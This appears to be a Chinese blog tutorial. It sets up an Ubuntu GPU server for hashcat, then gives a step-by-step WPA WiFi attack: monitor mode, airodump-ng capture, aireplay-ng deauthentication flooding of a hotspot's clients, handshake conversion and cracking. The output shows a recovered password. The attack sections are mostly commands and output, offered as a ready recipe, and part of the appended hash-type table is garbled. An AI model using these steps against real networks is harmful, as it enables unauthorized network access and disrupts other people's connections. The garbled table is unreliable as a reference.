Ubuntu18.04+8x1080ti爆破环境从零搭建

硬件环境:

主机: TYAN FT77D-B7109

CPU: Intel Xeon Scalable Processor

GPU: 1080Ti x 8 (测试时只用了两块, 分别是MSI/技嘉)

内存: 32G

硬盘: 1T SSD

0x00 配置环境

0x01 安装系统

目标系统: Ubuntu 18.04.1 LTS Desktop (建议安装Server版)

在官网下载好启动盘之后, 用烧录工具(建议用win32diskimager)写入U盘, 然后进入启动项选为U盘启动, 接下来开始安装, 一路默认配置就好. 具体步骤请谷歌, 这里就不赘述了. (这里我们遇到一个坑, 就是插了PCIE网卡之后安装系统一直重启, 可能是主机的兼容性问题, 装系统的时候如果条件允许, 最好把所有的外置设备卸载掉)

0x02 安装GPU驱动

  1. 安装好系统之后, 可以配置一下更新源(/etc/apt/sources.list,我用的是中科大源), update一下系统.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
    deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
    deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
    1
    2
    sudo apt-get update && apt-get upgrade
    sudo apt-get install gcc make p7zip-full git lsb-core
  2. 然后将Nouveau(NVIDIA通用显卡驱动)禁用:

    1
    2
    3
    4
    sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo update-initramfs -u
    sudo reboot
  3. 等重启之后, 再添加32位的NVIDIA驱动源:

    1
    2
    3
    sudo dpkg --add-architecture i386
    sudo apt-get update
    sudo apt-get install build-essential libc6:i386
  4. 在官网下载驱动, 下载好之后:

    1
    2
    3
    chmod +x NVIDIA*.run
    sudo ./NVIDIA*.run
    sudo reboot

    或者:

    1
    2
    3
    wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run
    chmod +x NVIDIA-Linux-x86_64-375.26.run
    sudo ./NVIDIA-Linux-x86_64-375.26.run
  5. (可选步骤)安装CPU集成显卡驱动:

    1
    2
    3
    4
    wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
    tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
    cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25
    ./install.sh
  6. 这时候可以看一下显卡配置:

    1
    lspci | grep VGA

0x03 安装hashcat

1
2
3
wget https://hashcat.net/files/hashcat-3.30.7z
7z x hashcat-3.30.7z
cd hashcat-3.30

这是个比较老的版本, 我用的aircrack跑出来的包用这个版本可以跑. 如果想尝一下鲜也可以:

1
wget https://hashcat.net/files/hashcat-4.2.1.7z

顺便测试一下速度(在解压后的目录里直接运行./example0.sh即可):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Session..........: hashcat
Status...........: Bypass
Hash.Type........: MD5
Hash.Target......: example0.hash
Time.Started.....: Sat Oct 20 20:08:33 2018 (27 mins, 0 secs)
Time.Estimated...: Sat Oct 20 22:31:24 2018 (1 hour, 55 mins)
Guess.Base.......: File (example.dict), Right Side
Guess.Mod........: Mask (?a?a?a?a?a?a) [6], Left Side
Guess.Queue.Base.: 1/1 (100.00%)
Guess.Queue.Mod..: 1/1 (100.00%)
Speed.Dev.#2.....: 8340.3 MH/s (6.61ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#3.....: 7938.7 MH/s (6.93ms) @ Accel:128 Loops:64 Thr:256 Vec:1
Speed.Dev.#*.....: 16279.0 MH/s
Recovered........: 3035/6494 (46.74%) Digests, 0/1 (0.00%) Salts
Recovered/Time...: CUR:25,N/A,N/A AVG:29,1773,42558 (Min,Hour,Day)
Progress.........: 26411945426944/139573552218112 (18.92%)
Rejected.........: 0/26411945426944 (0.00%)
Restore.Point....: 200933376/1073741824 (18.71%)
Candidates.#2....: sarusix102x -> 6o9momx49wy3c2
Candidates.#3....: sarseeethelia3 -> 6o9602eugeni
HWMon.Dev.#2.....: Temp: 79c Fan: 62% Util: 94% Core:1860MHz Mem:5005MHz Bus:16
HWMon.Dev.#3.....: Temp: 84c Fan: 78% Util: 94% Core:1771MHz Mem:5005MHz Bus:16

Started: Sat Oct 20 20:08:26 2018
Stopped: Sat Oct 20 20:35:35 2018
  • 关于上面输出的参数解析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    实际上example0.sh的命令如下:
    ./hashcat64.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict

    Session..........:
    Status...........:
    Hash.Type........: 表示哈希计算的类型
    Hash.Target......: 表示目标哈希表
    Time.Started.....: 计算开始时间
    Time.Estimated...: 估计结束时间
    Guess.Base.......: 密码字典
    Guess.Mod........: 密码类型(大小写/数字等)
    Guess.Queue.Base.:
    Guess.Queue.Mod..:
    Speed.Dev.#2.....: 显卡1的速度(8340.0MH/s 约等于每秒83亿次运算)
    Speed.Dev.#3.....: 显卡2...
    Speed.Dev.#*.....: 总速度
    Recovered........:
    Recovered/Time...: 当前已用时间(分,时,天); 平均需要时间(分,时,天)
    Progress.........: 当前进度
    Rejected.........: 应该是丢包率(猜的)
    Restore.Point....: 当前的进度
    Candidates.#2....: 即将尝试爆破的密码(猜的)
    Candidates.#3....:
    HWMon.Dev.#2.....: Temp表示当前显卡温度;Fan表示风扇转速;Men内存频率
    HWMon.Dev.#3.....: Util表示内存使用率;Core表示GPU核频率;Bus通道数
  • 关于hashcat命令参数解析(详见附录一):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    -a  指定要使用的破解模式
    -m 指定要破解的hash类型所对应的id[下面有一份完整的hash id对照表],几乎现在市面上常用的一些散列类型它都支持,而且每个版本更新都会增加一些新的算法
    -o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
    --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
    --show 显示已经破解的hash及该hash所对应的明文
    --increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程,其实,并不建议这么用,因为破解时间可能会比较长
    --increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
    --increment-max 密码最大长度,同上
    --outfile-format 指定破解结果的输出格式id,一般自己常用3
    --username 忽略hash文件中的指定的用户名,在破解win和linux系统用户密码hash可能会用到
    --remove 删除已被破解成功的hash
    -r 使用自定义破解规则,这个后期抽空再说吧,比较的复杂,不是一两句话能说完的
  • 真实爆破WiFi密码情况系hashcat参数解析:

    1
    ./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?l?l?l?l?l?l?l?l

    -m : hash的类型, 2500代表的是WPA/WPA2协议. 详见② Hash种类

    -a: 有多种参数, 3表示穷举. 详见⑤ 攻击模式

    *.hccap: 即为aircrack抓到的包之后转化而来的

    ?l: 表示所有的小写字母. 详见⑥ 内置字符集

0x10 Crack实战

0x11 初始配置

  1. 首先需要找一个可以监听注入的USB网卡, 如果笔记本自带网卡能用就更好了. 这里以rt2800usb为例讲解:

    1
    2
    3
    4
    root@ks:/home/ks# airmon-ng 
    PHY Interface Driver Chipset
    phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10)
    phy1 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070

    可以看到, 有两张网卡, wlp3s0是笔记本自带的英特尔系列网卡; lx7cdd90f1f416是能够监听的新插入的usb网卡.

  2. 查看网卡状态, 两张网卡的Mode都是Managed:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    root@ks:/home/ks# iwconfig
    wlx7cdd90f1f416 IEEE 802.11 ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=off
    Retry short long limit:2 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:off
    lo no wireless extensions.
    wlp3s0 IEEE 802.11 ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=off
    Retry short limit:7 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:on
    enp2s0 no wireless extensions.
    enp0s20f0u1 no wireless extensions.
  3. 为了避免冲突, 先杀占用进程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    root@ks:/home/ks# airmon-ng check kill

    Killing these processes:

    PID Name
    891 wpa_supplicant
    3091 dhclient
    4430 avahi-daemon
    4431 avahi-daemon
  4. 然后将能够抓包的网卡的Mode设为Monitor

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    root@ks:/home/ks# airmon-ng start wlx7cdd90f1f416

    Found 2 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run 'airmon-ng check kill'

    PID Name
    7674 avahi-daemon
    7675 avahi-daemon

    PHY Interface Driver Chipset

    phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10)
    phy4 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070
    truewlx7cdd90f1f416 is soft blocked, please run "rfkill unblock wlx7cdd90f1f416" to use this interface.
    rfkill error, unable to start wlx7cdd90f1f416

    Would you like to try and automatically resolve this? [y/n] y
    rfkill error: rfkill: invalid identifier: 4
    Unable to unblock.
    Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.

    truetrue(mac80211 monitor mode vif enabled on [phy4]wlan0mon
    truetrue(mac80211 station mode vif disabled for [phy4]wlx7cdd90f1f416)
  5. 此时再看一下无线网卡状态:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    root@ks:/home/ks# iwconfig
    lo no wireless extensions.

    wlp3s0 IEEE 802.11 ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
    Retry short limit:7 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:on

    wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=off
    Retry short long limit:2 RTS thr:off Fragment thr:off
    Power Management:off

    enp2s0 no wireless extensions.

    enp0s20f0u1 no wireless extensions.

    已更改~

0x12 实施攻击

  1. 我们的攻击目标是iPhone:

    1
    root@ks:/home/ks# airodump-ng wlan0mon
    img
    img

    上图可看到它的mac是74:D2:1D:AE:3F:94, 信道(CH)是1. (记住这两个信息下面有用)

  2. 接下来我们开两个shell, 一个shell负责监听握手包, 另一个shell负责洪荒攻击两个正常连接的WiFi设备, 我们先看看第一个shell:

    1
    airodump-ng --bssid 74:D2:1D:AE:3F:94 -c 1 -w test wlan0mon
    img
    img

    可以看出来已经抓到了握手包703个. 对命令参数解释如下:

    --bssid: 表示WiFi热点的mac

    -c: 表示信道1

    -w: 后面跟着文件名

    wlan0mon: 需要监听的网卡

  3. 开启了监听之后, 我们就需要DDoS目标连接了, 这时候在另一个shell输入如下命令:

    1
    aireplay-ng --deauth 5 -a 74:D2:1D:AE:3F:94 wlan0mon

    隔几秒发一次, 以抓到足够的握手包, 减少爆破的时间.

0x20 开始爆破

在上面操作的监听过程中, 会在当前路径下保存一个抓到的握手包的数据, 但这个流量包还不能直接让hashcat跑, 需要做简单的处理, 先做一个简单的数据清洗:

1
2
3
4
root@ks:~/crack_packet_wifi# wpaclean wpapass.cap test-05.cap 
Pwning test-05.cap (1/1 100%)
Net 74:d2:1d:ae:3f:94 iPhone
Done

可以看到, 已经成功识别出目标无限的mac. 接下来我们吧数据包转换成hashcat能够识别的hash类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@ks:/home/ks/software/crack_pw/crack_packet_wifi# aircrack-ng wpapass.cap -J wpahash
Opening wpapass.cap
Read 3 packets.

# BSSID ESSID Encryption

1 74:D2:1D:AE:3F:94 iPhone WPA (1 handshake)

Choosing first network as target.
Opening wpapass.cap
Reading packets, please wait...
Building Hashcat (1.00) file...
[*] ESSID (length: 6): iPhone
[*] Key version: 2
[*] BSSID: 74:D2:1D:AE:3F:94
[*] STA: 88:C9:D0:B7:2C:36
[*] anonce:
E6 A3 D9 3C 95 77 3E 0B 5D 84 CE 65 0D 1C EB 59
E4 E4 E3 A5 3A 07 FE D8 47 A1 7C 77 10 66 DC E4
[*] snonce:
03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98 2A
4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4 AD
[*] Key MIC:
21 51 2B 3C 6F 37 CA 9E 09 6C 92 74 45 DC DA 11
[*] eapol:
01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
03 03 8D 9F 6B A8 4B 27 7D 8E 02 57 56 34 D9 98
2A 4D 36 1C EA 2D 6A 91 43 4F 30 67 96 81 14 F4
AD 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
04 01 00 00 0F AC 02 80 00
Successfully written to wpahash.hccap
Quitting aircrack-ng...

接下来就是直接放到爆破的服务器上跑(实测用最新版的hashcat跑不了, 这里用了3.30版本的hashcat)

1
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?d?d?d?d?d?d?d?d

几秒钟就跑出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:43:18 2018 (3 secs)
Time.Estimated...: Tue Oct 23 17:44:52 2018 (1 min, 31 secs)
Input.Mask.......: ?d?d?d?d?d?d?d?d [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 535.2 kH/s (6.23ms)
Speed.Dev.#3.....: 527.7 kH/s (6.34ms)
Speed.Dev.#*.....: 1062.9 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 2207744/100000000 (2.21%)
Rejected.........: 0/2207744 (0.00%)
Restore.Point....: 0/10000000 (0.00%)
Candidates.#2....: 42345678 -> 41875555
Candidates.#3....: 40689823 -> 49471088
HWMon.Dev.#2.....: Temp: 41c Fan: 29% Util: 97% Core:1860Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 41c Fan: 0% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16

iPhone:74d21dae3f94:88c9d0b72c36:67854312

假设我们把它设置成全字符爆破, 也就是:

1
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?a?a?a?a?a?a?a?a

则需要几百年(可见, 如果知道WiFi密码的字符组成结构, 也就成功了一半了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: iPhone (74:d2:1d:ae:3f:94 <-> 88:c9:d0:b7:2c:36)
Time.Started.....: Tue Oct 23 17:53:33 2018 (31 secs)
Time.Estimated...: Fri Dec 24 03:40:44 2021 (200 years, 198 days)
Input.Mask.......: ?a?a?a?a?a?a?a?a [8]
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 531.0 kH/s (6.38ms)
Speed.Dev.#3.....: 517.3 kH/s (6.52ms)
Speed.Dev.#*.....: 1048.3 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 31854592/6634204312890625 (0.00%)
Rejected.........: 0/31854592 (0.00%)
Restore.Point....: 0/69833729609375 (0.00%)
Candidates.#2....: E]_LINAN -> E;$.1988
Candidates.#3....: Narinane -> N"XZANAN
HWMon.Dev.#2.....: Temp: 66c Fan: 47% Util: 97% Core:1809Mhz Mem:5005Mhz Lanes:16
HWMon.Dev.#3.....: Temp: 65c Fan: 34% Util: 97% Core:1759Mhz Mem:5005Mhz Lanes:16

参考链接

  1. How to build a 8 GPU password cracker
  2. Running HashCat on Ubuntu 18.04 Server with 1080TI
  3. How to Build a Password Cracker with NVidia GTX 1080TI & GTX 1070
  4. 快速破解各种散列hash hashcat入门篇
  5. aircrack & hashcat 非字典高速破解目标无线密码
  6. 用hashcat超速破解WiFi密码
  7. 开源GPU密码破解工具–HashCat
  8. hashcat 帮助文件 中文翻译
  9. Hashcat用户手册——直接攻击模式的使用

附录一

① hashcat选项解释

用法:

1
hashcat [选项]... hash|hash文件|hccapx文件 [字典|掩码|目录]...
选项 缩写 / 原文 参数类型 描述 用例
-m,--hash-type 数字 Hash种类,参见下面的参考 -m 1000
-a,--attack-mode 数字 攻击模式,参见下面的参考 -a 3
-V,--version 输出版本信息
-h,--help 输出帮助信息
--quiet 禁用输出
--hex-charset 字符集以十六进制形式给出
--hex-salt 盐以十六进制形式给出
--hex-wordlist 字典中的单词是以十六进制形式给出的
--force 忽略警告
--status 自动更新屏幕
--status-timer 数字 设置自动更新屏幕间隔为X秒 --status-timer=1
--machine-readable 以机器可读格式显示状态视图
--keep-guessing 被破解之后继续猜测Hash
--loopback 在induction目录中加入新的纯文本文件
--weak-hash-threshold 数字 当阈值为X时停止检查弱Hash --weak=0
--markov-hcstat 文件 指定要使用的hcstat文件 --markov-hc=my.hcstat
--markov-disable 禁用马尔可夫链,模仿经典暴力破解
--markov-classic 启用经典马尔可夫链,无任何位置
-t,--markov-threshold 数字 当阈值X时停止接收新的马尔科夫链 -t 50
--runtime 数字 运行X秒后中止会话 --runtime=10
--session 字符串 定义具体的会话名称 --session=mysession
--restore 从--session恢复会话
--restore-disable 不写入恢复文件
--restore-file-path 文件 指定恢复文件的路径 --restore-file-path=my.restore
-o,--outfile 文件 定义恢复的Hash的输出文件 -o outfile.txt
--outfile-format 数字 定义恢复的Hash的输出格式,参见下面的参考 --outfile-format=7
--outfile-autohex-disable 在输出纯文本文件中禁用$HEX[]
--outfile-check-timer 数字 设置输出文件检查间隔为X秒 --outfile-check=30
-p,--separator 字符 Hash表和输出文件的分隔符 -p :
--stdout 不破解Hash,只打印候选值
--show 比较Hash表和pot文件,显示已破解的Hash
--left 比较Hash表和pot文件,显示未破解的Hash
--username 忽略Hash文件中的用户名
--remove 一旦破解,就删除Hash
--remove-timer 数字 每X秒更新输入的Hash文件 --remove-timer=30
--potfile-disable 不写入pot文件
--potfile-path 目录 指定pot文件的路径 --potfile-path=my.pot
--debug-mode 数字 定义调试模式(仅通过使用规则进行混合) --debug-mode=4
--debug-file 文件 调试规则的输出文件 --debug-file=good.log
--induction-dir 目录 指定loopback的induction目录 --induction=inducts
--outfile-check-dir 目录 指定监控纯文本文件的输出目录 --outfile-check-dir=x
--logfile-disable 禁用日志文件
--hccapx-message-pair 数字 只从hccapx加载匹配X的消息对 --hccapx-message-pair=2
--nonce-error-corrections 数字 用BF大小范围来取代AP最后字节的随机数 --nonce-error-corrections=16
--truecrypt-keyfiles 文件 要使用的密匙文件,用逗号分隔 --truecrypt-key=x.png
--veracrypt-keyfiles 文件 要使用的密匙文件,用逗号分隔 --veracrypt-key=x.txt
--veracrypt-pim 数字 VeraCrypt的头部密钥生成的迭代次数(PIM) --veracrypt-pim=1000
-b,--benchmark 运行基准测试
--speed-only 返回预期的攻击速度,然后退出
--progress-only 返回理想进度的步骤大小和处理时间
-c,--segment-size 数字 为wordfile设置 X MB缓存 -c 32
--bitmap-min 数字 设置位图最小为X位(bit) --bitmap-min=24
--bitmap-max 数字 设置位图最大为X位(bit) --bitmap-max=24
--cpu-affinity 字符串 设置CPU相关性,用逗号分隔 --cpu-affinity=1,2,3
-I,--opencl-info 显示检测到的OpenCL平台/设备的信息 -I
--opencl-platforms 字符串 要使用的OpenCL平台,用逗号分隔 --opencl-platforms=2
-d,--opencl-devices 字符串 要使用的OpenCL设备,用逗号分隔 -d 1
-D,--opencl-device-types 字符串 要使用的OpenCL设备类型,用逗号分隔 -D 1
--opencl-vector-width 数字 手动覆盖OpenCL矢量宽度为X --opencl-vector=4
-w,--workload-profile 数字 设置工作负载配置文件,参见下面的参考 -w 3
-n,--kernel-accel 数字 手动调整工作负载,将外圈步长设置为X -n 64
-u,--kernel-loops 数字 手动调整工作负载,将内圈步长设置为X -u 256
--nvidia-spin-damp 数字 可变通NVIDIA处理器热循环Bug,用百分比表示 --nvidia-spin-damp=50
--gpu-temp-disable 禁用GPU温度和风扇速度的读取和触发
--gpu-temp-abort 数字 如果GPU温度达到X摄氏度,则中止 --gpu-temp-abort=100
--gpu-temp-retain 数字 尝试将GPU温度保持在X摄氏度 --gpu-temp-retain=95
--powertune-enable 启用电源调整。 完成后恢复设置
--scrypt-tmto 数字 手动覆盖scrypt的TMTO值为X --scrypt-tmto=3
-s,--skip 数字 跳过前X个单词 -s 1000000
-l,--limit 数字 跳过单词后限制X个单词 -l 1000000
--keyspace 显示密钥空间base:mod值后退出
-j,--rule-left 规则 单个规则应用于字典中左侧的每个单词 -j 'c'
-k,--rule-right 规则 单个规则应用于字典中右侧的每个单词 -k '^-'
-r,--rules-file 文件 多个规则应用于字典中的每个单词 -r rules/best64.rule
-g,--generate-rules 数字 生成X个随机规则 -g 10000
--generate-rules-func-min 数字 强制每个规则最小X个函数
--generate-rules-func-max 数字 强制每个规则最大X个函数
--generate-rules-seed 数字 强制RNG种子设置为X
-1,--custom-charset1 字符集 用户定义的字符集 ?1 -1 ?l?d?u
-2,--custom-charset2 字符集 用户定义的字符集 ?2 -2 ?l?d?s
-3,--custom-charset3 字符集 用户定义的字符集 ?3
-4,--custom-charset4 字符集 用户定义的字符集 ?4
-i,--increment 启用掩码增量模式
--increment-min 数字 在X处开始掩码递增 --increment-min=4
--increment-max 数字 在X处停止掩码递增 --increment-max=8

② Hash种类

编号 名称 类别
900 MD4 纯Hash
0 MD5 纯Hash
5100 Half MD5 纯Hash
100 SHA1 纯Hash
1300 SHA-224 纯Hash
1400 SHA-256 纯Hash
10800 SHA-384 纯Hash
1700 SHA-512 纯Hash
5000 SHA-3 (Keccak) 纯Hash
10100 SipHash 纯Hash
6000 RIPEMD-160 纯Hash
6100 Whirlpool 纯Hash
6900 GOST R 34.11-94 纯Hash
11700 GOST R 34.11-2012 (Streebog) 256-bit 纯Hash
11800 GOST R 34.11-2012 (Streebog) 512-bit 纯Hash
10 md5(\(pass.\)salt) 纯Hash,盐 且/或 多次迭代
20 md5(\(salt.\)pass) 纯Hash,盐 且/或 多次迭代
30 md5(unicode(\(pass).\)salt) 纯Hash,盐 且/或 多次迭代
40 md5(\(salt.unicode(\)pass)) 纯Hash,盐 且/或 多次迭代
3800 md5(\(salt.\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 3710 | md5(\)salt.md5(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4010 | md5(\)salt.md5(\(salt.\)pass)) 纯Hash,盐 且/或 多次迭代
4110 md5(\(salt.md5(\)pass.\(salt)) | 纯Hash,盐 且/或 多次迭代 | | 2600 | md5(md5(\)pass)) 纯Hash,盐 且/或 多次迭代
3910 md5(md5(\(pass).md5(\)salt)) 纯Hash,盐 且/或 多次迭代
4300 md5(strtoupper(md5(\(pass))) | 纯Hash,盐 且/或 多次迭代 | | 4400 | md5(sha1(\)pass)) 纯Hash,盐 且/或 多次迭代
110 sha1(\(pass.\)salt) 纯Hash,盐 且/或 多次迭代
120 sha1(\(salt.\)pass) 纯Hash,盐 且/或 多次迭代
130 sha1(unicode(\(pass).\)salt) 纯Hash,盐 且/或 多次迭代
140 sha1(\(salt.unicode(\)pass)) 纯Hash,盐 且/或 多次迭代
4500 sha1(sha1(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4520 | sha1(\)salt.sha1(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4700 | sha1(md5(\)pass)) 纯Hash,盐 且/或 多次迭代
4900 sha1(\(salt.\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 14400 | sha1(CX) | 纯Hash,盐 且/或 多次迭代 | | 1410 | sha256(\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1420 | sha256(\)salt.\(pass) | 纯Hash,盐 且/或 多次迭代 | | 1430 | sha256(unicode(\)pass).\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1440 | sha256(\)salt.unicode(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 1710 | sha512(\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1720 | sha512(\)salt.\(pass) | 纯Hash,盐 且/或 多次迭代 | | 1730 | sha512(unicode(\)pass).\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1740 | sha512(\)salt.unicode($pass)) 纯Hash,盐 且/或 多次迭代
50 HMAC-MD5 (key = $pass) 纯Hash,认证的
60 HMAC-MD5 (key = $salt) 纯Hash,认证的
150 HMAC-SHA1 (key = $pass) 纯Hash,认证的
160 HMAC-SHA1 (key = $salt) 纯Hash,认证的
1450 HMAC-SHA256 (key = $pass) 纯Hash,认证的
1460 HMAC-SHA256 (key = $salt) 纯Hash,认证的
1750 HMAC-SHA512 (key = $pass) 纯Hash,认证的
1760 HMAC-SHA512 (key = $salt) 纯Hash,认证的
14000 DES (PT = $salt, key = $pass) 纯加密,已知的明文攻击
14100 3DES (PT = $salt, key = $pass) 纯加密,已知的明文攻击
14900 Skip32 (PT = $salt, key = $pass) 纯加密,已知的明文攻击
400 phpass 通用密钥导出函数(KDF)
8900 scrypt 通用密钥导出函数(KDF)
11900 PBKDF2-HMAC-MD5 通用密钥导出函数(KDF)
12000 PBKDF2-HMAC-SHA1 通用密钥导出函数(KDF)
10900 PBKDF2-HMAC-SHA256 通用密钥导出函数(KDF)
12100 PBKDF2-HMAC-SHA512 通用密钥导出函数(KDF)
23 Skype 网络协议
2500 WPA/WPA2 网络协议
4800 iSCSI CHAP authentication, MD5(CHAP) 网络协议
5300 IKE-PSK MD5 网络协议
5400 IKE-PSK SHA1 网络协议
5500 NetNTLMv1 网络协议
5500 NetNTLMv1+ESS 网络协议
5600 NetNTLMv2 网络协议
7300 IPMI2 RAKP HMAC-SHA1 网络协议
7500 Kerberos 5 AS-REQ Pre-Auth etype 23 网络协议
8300 DNSSEC (NSEC3) 网络协议
10200 CRAM-MD5 网络协议
11100 PostgreSQL CRAM (MD5) 网络协议
11200 MySQL CRAM (SHA1) 网络协议
11400 SIP digest authentication (MD5) 网络协议
13100 Kerberos 5 TGS-REP etype 23 网络协议
121 SMF (Simple Machines Forum) > v1.1 论坛,内容管理系统(CMS),电子商务,框架
400 phpBB3 (MD5) 论坛,内容管理系统(CMS),电子商务,框架
2611 vBulletin < v3.8.5 论坛,内容管理系统(CMS),电子商务,框架
2711 vBulletin >= v3.8.5 论坛,内容管理系统(CMS),电子商务,框架
2811 MyBB 1.2+ 论坛,内容管理系统(CMS),电子商务,框架
2811 IPB2+ (Invision Power Board) 论坛,内容管理系统(CMS),电子商务,框架
8400 WBB3 (Woltlab Burning Board) 论坛,内容管理系统(CMS),电子商务,框架
11 Joomla < 2.5.18 论坛,内容管理系统(CMS),电子商务,框架
400 Joomla >= 2.5.18 (MD5) 论坛,内容管理系统(CMS),电子商务,框架
400 WordPress (MD5) 论坛,内容管理系统(CMS),电子商务,框架
2612 PHPS 论坛,内容管理系统(CMS),电子商务,框架
7900 Drupal7 论坛,内容管理系统(CMS),电子商务,框架
21 osCommerce 论坛,内容管理系统(CMS),电子商务,框架
21 xt:Commerce 论坛,内容管理系统(CMS),电子商务,框架
11000 PrestaShop 论坛,内容管理系统(CMS),电子商务,框架
124 Django (SHA-1) 论坛,内容管理系统(CMS),电子商务,框架
10000 Django (PBKDF2-SHA256) 论坛,内容管理系统(CMS),电子商务,框架
3711 MediaWiki B type 论坛,内容管理系统(CMS),电子商务,框架
13900 OpenCart 论坛,内容管理系统(CMS),电子商务,框架
4521 Redmine 论坛,内容管理系统(CMS),电子商务,框架
4522 PunBB 论坛,内容管理系统(CMS),电子商务,框架
12001 Atlassian (PBKDF2-HMAC-SHA1) 论坛,内容管理系统(CMS),电子商务,框架
12 PostgreSQL 数据库服务器
131 MSSQL (2000) 数据库服务器
132 MSSQL (2005) 数据库服务器
1731 MSSQL (2012, 2014) 数据库服务器
200 MySQL323 数据库服务器
300 MySQL4.1/MySQL5 数据库服务器
3100 Oracle H: Type (Oracle 7+) 数据库服务器
112 Oracle S: Type (Oracle 11+) 数据库服务器
12300 Oracle T: Type (Oracle 12+) 数据库服务器
8000 Sybase ASE 数据库服务器
141 Episerver 6.x < .NET 4 HTTP,SMTP,LDAP服务器
1441 Episerver 6.x >= .NET 4 HTTP,SMTP,LDAP服务器
1600 Apache \(apr1\) MD5, md5apr1, MD5 (APR) HTTP,SMTP,LDAP服务器
12600 ColdFusion 10+ HTTP,SMTP,LDAP服务器
1421 hMailServer HTTP,SMTP,LDAP服务器
